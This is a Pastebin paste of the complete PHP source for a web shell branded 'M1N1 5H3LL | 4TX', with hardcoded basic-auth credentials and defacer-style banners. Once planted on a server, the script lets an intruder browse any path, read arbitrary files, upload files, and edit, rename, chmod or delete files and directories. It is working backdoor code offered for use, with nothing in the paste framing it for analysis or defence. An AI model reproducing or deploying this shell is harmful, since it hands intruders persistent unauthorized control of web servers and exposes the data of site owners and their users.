Advertisement
Guest User

Untitled

a guest
May 2nd, 2019
75
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 8.83 KB | None | 0 0
  1. <?php
  2. // --- pop-up
  3.  
  4. $user = "4TX";
  5.  
  6. $pass = "InCR30.4TX";
  7.  
  8. if (($_SERVER["PHP_AUTH_USER"] != $user) || (($_SERVER["PHP_AUTH_PW"]) != $pass))
  9.  
  10. {
  11.  
  12. header("WWW-Authenticate: Basic realm=\"dvildance was here\"");
  13.  
  14. header("HTTP/1.0 401 Unauthorized");
  15.  
  16. exit();
  17.  
  18. }
  19.  
  20. // --- 4TX shell
  21.  
  22. set_time_limit(0);
  23. error_reporting(0);
  24.  
  25. if(get_magic_quotes_gpc()){
  26. foreach($_POST as $key=>$value){
  27. $_POST[$key] = stripslashes($value);
  28. }
  29. }
  30. echo '<!DOCTYPE HTML>
  31. <HTML>
  32. <HEAD>
  33. <link rel="SHORTCUT ICON" href="https://www.upload.ee/image/9492316/1548354802087.png">
  34. <DIV align=center><IMG src="https://www.upload.ee/image/9492316/1548354802087.png" width=350 height=300><br>
  35. <center><font color="white" face="Papyrus">InCR30.4TX<br>BL4CK.4TX</font></footer></tr></table>
  36. </style>
  37. <link href="https://fonts.googleapis.com/css?family=Walter+Turncoat" rel="stylesheet">
  38. <title>M1N1 5H3LL | 4TX</title>
  39.  
  40. <style>
  41. body {
  42. background-image:url("https://lh3.googleusercontent.com/-bf_x-yTTHjQ/Ts32HIlpUJI/AAAAAAAAAgQ/WctrlVSdVXI/s1600/bluematrix.gifi");
  43. background-repeat: no-repeat;
  44. background-size: 100% 120%;
  45. font-family: Papyrus, cursive;
  46. background-color: #000000;
  47. text-shadow:0px 0px 1px #ffffff;
  48. }
  49. #content tr:hover{
  50. background-color: #ff0000;
  51. text-shadow:0px 0px 10px ##ffffff;
  52. }
  53. #content .first{
  54. background-color: #000000;
  55. }
  56. #content .first:hover{
  57. background-color: #ff0000;
  58. text-shadow:0px 0px 1px #ffffff;
  59. }
  60. table{
  61. border: 1px #ffffff dotted;
  62. }
  63. H1{
  64. font-family: "Papyrus", cursive;
  65. }
  66. a{
  67. color: #ffffff;
  68. text-decoration: none;
  69. }
  70. a:hover{
  71. color: white;
  72. text-shadow:0px 0px 10px #ffffff;
  73. }
  74. input,select,textarea{
  75. border: 1px #ffffff solid;
  76. -moz-border-radius: 5px;
  77. -webkit-border-radius:5px;
  78. border-radius:5px;
  79. }
  80. </style>
  81. </HEAD>
  82. <BODY>
  83. <table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  84. <tr><td>files >> ';
  85. if(isset($_GET['path'])){
  86. $path = $_GET['path'];
  87. }else{
  88. $path = getcwd();
  89. }
  90. $path = str_replace('\\','/',$path);
  91. $paths = explode('/',$path);
  92.  
  93. foreach($paths as $id=>$pat){
  94. if($pat == '' && $id == 0){
  95. $a = true;
  96. echo '<a href="?path=/">/</a>';
  97. continue;
  98. }
  99. if($pat == '') continue;
  100. echo '<a href="?path=';
  101. for($i=0;$i<=$id;$i++){
  102. echo "$paths[$i]";
  103. if($i != $id) echo "/";
  104. }
  105. echo '">'.$pat.'</a>/';
  106. }
  107. echo '</td></tr><tr><td>';
  108. if(isset($_FILES['file'])){
  109. if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
  110. echo '<font color="#ffffff">upload berhasil!</font><br />';
  111. }else{
  112. echo '<font color="red">upload gagal!</font><br />';
  113. }
  114. }
  115. echo '<form enctype="multipart/form-data" method="POST">
  116. upload <input type="file" name="file" />
  117. <input type="submit" value="Upload" />
  118. </form>
  119. </td></tr>';
  120. if(isset($_GET['filesrc'])){
  121. echo "<tr><td>files >> ";
  122. echo $_GET['filesrc'];
  123. echo '</tr></td></table><br />';
  124. echo('<pre>'.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</pre>');
  125. }elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){
  126. echo '</table><br /><center>'.$_POST['path'].'<br /><br />';
  127. if($_POST['opt'] == 'chmod'){
  128. if(isset($_POST['perm'])){
  129. if(chmod($_POST['path'],$_POST['perm'])){
  130. echo '<font color="white">change permission berhasil!</font><br />';
  131. }else{
  132. echo '<font color="red">change permission gagal!</font><br />';
  133. }
  134. }
  135. echo '<form method="POST">
  136. Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" />
  137. <input type="hidden" name="path" value="'.$_POST['path'].'">
  138. <input type="hidden" name="opt" value="chmod">
  139. <input type="submit" value="Go" />
  140. </form>';
  141. }elseif($_POST['opt'] == 'rename'){
  142. if(isset($_POST['newname'])){
  143. if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
  144. echo '<font color="white">change name berhasil!</font><br />';
  145. }else{
  146. echo '<font color="red">change name gagal!</font><br />';
  147. }
  148. $_POST['name'] = $_POST['newname'];
  149. }
  150. echo '<form method="POST">
  151. New Name : <input name="newname" type="text" size="3" value="'.$_POST['name'].'" />
  152. <input type="hidden" name="path" value="'.$_POST['path'].'">
  153. <input type="hidden" name="opt" value="rename">
  154. <input type="submit" value="Go" />
  155. </form>';
  156. }elseif($_POST['opt'] == 'edit'){
  157. if(isset($_POST['src'])){
  158. $fp = fopen($_POST['path'],'w');
  159. if(fwrite($fp,$_POST['src'])){
  160. echo '<font color="white">edit berhasil!</font><br />';
  161. }else{
  162. echo '<font color="red">edit gagal bro</font><br />';
  163. }
  164. fclose($fp);
  165. }
  166. echo '<form method="POST">
  167. <textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br />
  168. <input type="hidden" name="path" value="'.$_POST['path'].'">
  169. <input type="hidden" name="opt" value="edit">
  170. <input type="submit" value="Go" />
  171. </form>';
  172. }
  173. echo '</center>';
  174. }else{
  175. echo '</table><br /><center>';
  176. if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
  177. if($_POST['type'] == 'dir'){
  178. if(rmdir($_POST['path'])){
  179. echo '<font color="white">delete berhasil!</font><br />';
  180. }else{
  181. echo '<font color="red">delete gagal!</font><br />';
  182. }
  183. }elseif($_POST['type'] == 'file'){
  184. if(unlink($_POST['path'])){
  185. echo '<font color="white">delete file berhasil!.</font><br />';
  186. }else{
  187. echo '<font color="red">delete file gagal!</font><br />';
  188. }
  189. }
  190. }
  191. echo '</center>';
  192. $scandir = scandir($path);
  193. echo '<div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  194. <tr class="first">
  195. <td><center>Name</center></td>
  196. <td><center>Size</center></td>
  197. <td><center>Permissions</center></td>
  198. <td><center>Options</center></td>
  199. </tr>';
  200.  
  201. foreach($scandir as $dir){
  202. if(!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue;
  203. echo "<tr>
  204. <td><a href=\"?path=$path/$dir\">$dir</a></td>
  205. <td><center>--</center></td>
  206. <td><center>";
  207. if(is_writable("$path/$dir")) echo '<font color="white">';
  208. elseif(!is_readable("$path/$dir")) echo '<font color="red">';
  209. echo perms("$path/$dir");
  210. if(is_writable("$path/$dir") || !is_readable("$path/$dir")) echo '</font>';
  211.  
  212. echo "</center></td>
  213. <td><center><form method=\"POST\" action=\"?option&path=$path\">
  214. <select name=\"opt\">
  215. <option value=\"\"></option>
  216. <option value=\"delete\">Delete</option>
  217. <option value=\"chmod\">Chmod</option>
  218. <option value=\"rename\">Rename</option>
  219. </select>
  220. <input type=\"hidden\" name=\"type\" value=\"dir\">
  221. <input type=\"hidden\" name=\"name\" value=\"$dir\">
  222. <input type=\"hidden\" name=\"path\" value=\"$path/$dir\">
  223. <input type=\"submit\" value=\">\" />
  224. </form></center></td>
  225. </tr>";
  226. }
  227. echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
  228. foreach($scandir as $file){
  229. if(!is_file("$path/$file")) continue;
  230. $size = filesize("$path/$file")/1024;
  231. $size = round($size,3);
  232. if($size >= 1024){
  233. $size = round($size/1024,2).' MB';
  234. }else{
  235. $size = $size.' KB';
  236. }
  237.  
  238. echo "<tr>
  239. <td><a href=\"?filesrc=$path/$file&path=$path\">$file</a></td>
  240. <td><center>".$size."</center></td>
  241. <td><center>";
  242. if(is_writable("$path/$file")) echo '<font color="white">';
  243. elseif(!is_readable("$path/$file")) echo '<font color="red">';
  244. echo perms("$path/$file");
  245. if(is_writable("$path/$file") || !is_readable("$path/$file")) echo '</font>';
  246. echo "</center></td>
  247. <td><center><form method=\"POST\" action=\"?option&path=$path\">
  248. <select name=\"opt\">
  249. <option value=\"Action\">Action</option>
  250. <option value=\"delete\">Delete</option>
  251. <option value=\"chmod\">Chmod</option>
  252. <option value=\"rename\">Rename</option>
  253. <option value=\"edit\">Edit</option>
  254. </select>
  255. <input type=\"hidden\" name=\"type\" value=\"file\">
  256. <input type=\"hidden\" name=\"name\" value=\"$file\">
  257. <input type=\"hidden\" name=\"path\" value=\"$path/$file\">
  258. <input type=\"submit\" value=\">\" />
  259. </form></center></td>
  260. </tr>";
  261. }
  262. echo '</table>
  263. </div>';
  264. }
  265. echo '
  266. </BODY>
  267. </HTML>';
  268. function perms($file){
  269. $perms = fileperms($file);
  270.  
  271. if (($perms & 0xC000) == 0xC000) {
  272. // Socket
  273. $info = 's';
  274. } elseif (($perms & 0xA000) == 0xA000) {
  275. // Symbolic Link
  276. $info = 'l';
  277. } elseif (($perms & 0x8000) == 0x8000) {
  278. // Regular
  279. $info = '-';
  280. } elseif (($perms & 0x6000) == 0x6000) {
  281. // Block special
  282. $info = 'b';
  283. } elseif (($perms & 0x4000) == 0x4000) {
  284. // Directory
  285. $info = 'd';
  286. } elseif (($perms & 0x2000) == 0x2000) {
  287. // Character special
  288. $info = 'c';
  289. } elseif (($perms & 0x1000) == 0x1000) {
  290. // FIFO pipe
  291. $info = 'p';
  292. } else {
  293. // Unknown
  294. $info = 'u';
  295. }
  296.  
  297. // Owner
  298. $info .= (($perms & 0x0100) ? 'r' : '-');
  299. $info .= (($perms & 0x0080) ? 'w' : '-');
  300. $info .= (($perms & 0x0040) ?
  301. (($perms & 0x0800) ? 's' : 'x' ) :
  302. (($perms & 0x0800) ? 'S' : '-'));
  303.  
  304. // Group
  305. $info .= (($perms & 0x0020) ? 'r' : '-');
  306. $info .= (($perms & 0x0010) ? 'w' : '-');
  307. $info .= (($perms & 0x0008) ?
  308. (($perms & 0x0400) ? 's' : 'x' ) :
  309. (($perms & 0x0400) ? 'S' : '-'));
  310.  
  311. // World
  312. $info .= (($perms & 0x0004) ? 'r' : '-');
  313. $info .= (($perms & 0x0002) ? 'w' : '-');
  314. $info .= (($perms & 0x0001) ?
  315. (($perms & 0x0200) ? 't' : 'x' ) :
  316. (($perms & 0x0200) ? 'T' : '-'));
  317.  
  318. return $info;
  319. }
  320. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement